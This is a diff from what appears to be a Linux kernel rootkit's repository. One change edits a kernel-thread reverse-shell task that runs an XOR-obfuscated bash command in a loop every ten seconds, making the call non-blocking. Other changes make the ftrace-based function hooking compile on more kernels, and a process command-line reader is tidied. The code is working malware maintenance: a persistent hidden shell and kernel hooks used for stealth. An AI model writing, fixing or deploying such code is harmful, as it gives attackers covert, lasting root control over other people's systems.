Merge pull request #4 from flashnuke/fix/use_no_wait

fix/use `uhm_no_wait`

Author: flashnuke

src/tasks/reverse_shell.c

@@ -15,7 +15,7 @@ int rshell_func(void* data) {
     char* argv[] = { "/bin/bash", "-c", xor_cmd, NULL };
     static char* envp[] = { "HOME=/", "TERM=linux", "PATH=/sbin:/bin:/usr/sbin:/usr/bin", NULL };
         while (!kthread_should_stop()) {
-            call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
+            call_usermodehelper(argv[0], argv, envp, UMH_NO_WAIT);
             ssleep(10);
         }
     return 0;

src/utils/ftrace_utils.c

@@ -1,5 +1,11 @@
 #include "utils/ftrace_utils.h"
 
+#ifdef FTRACE_OPS_FL_RECURSION_SAFE
+  #define D_FTRACE_RECURSION_FLAG FTRACE_OPS_FL_RECURSION_SAFE
+#else
+  #define D_FTRACE_RECURSION_FLAG FTRACE_OPS_FL_RECURSION
+#endif
+
 // Resolve the address of the function being hooked
 int fh_resolve_hook_address(struct ftrace_hook *hook) {
     kallsyms_lookup_name_t kallsyms_lookup_name = _kallsyms_lookup();
@@ -41,9 +47,9 @@ int fh_install_hook(struct ftrace_hook *hook) {
         return err;
     }
 
-    hook->ops.func = fh_ftrace_thunk;
+    hook->ops.func = (ftrace_func_t)fh_ftrace_thunk;
     hook->ops.flags = FTRACE_OPS_FL_SAVE_REGS
-                      | FTRACE_OPS_FL_RECURSION
+                      | D_FTRACE_RECURSION_FLAG
                       | FTRACE_OPS_FL_IPMODIFY;
 
     err = ftrace_set_filter_ip(&hook->ops, hook->address, 0, 0);

src/utils/proc_utils.c

@@ -21,8 +21,9 @@ char *read_cmdline_from_task(pid_t pid, size_t *out_size) { // reads the command
     }
     mm = get_task_mm(task);
     rcu_read_unlock();
-    if (!mm)
+    if (!mm) {
         return NULL;
+    }
 
     // lock the memory map
     down_read(&mm->mmap_lock);
@@ -45,8 +46,9 @@ char *read_cmdline_from_task(pid_t pid, size_t *out_size) { // reads the command
     }
 
     buffer[size] = '\0';  // null-terminate
-    if (out_size)
+    if (out_size) {
         *out_size = size;
-    return buffer;
+    }
+    return buffer; // memory will be freed by the calle
 }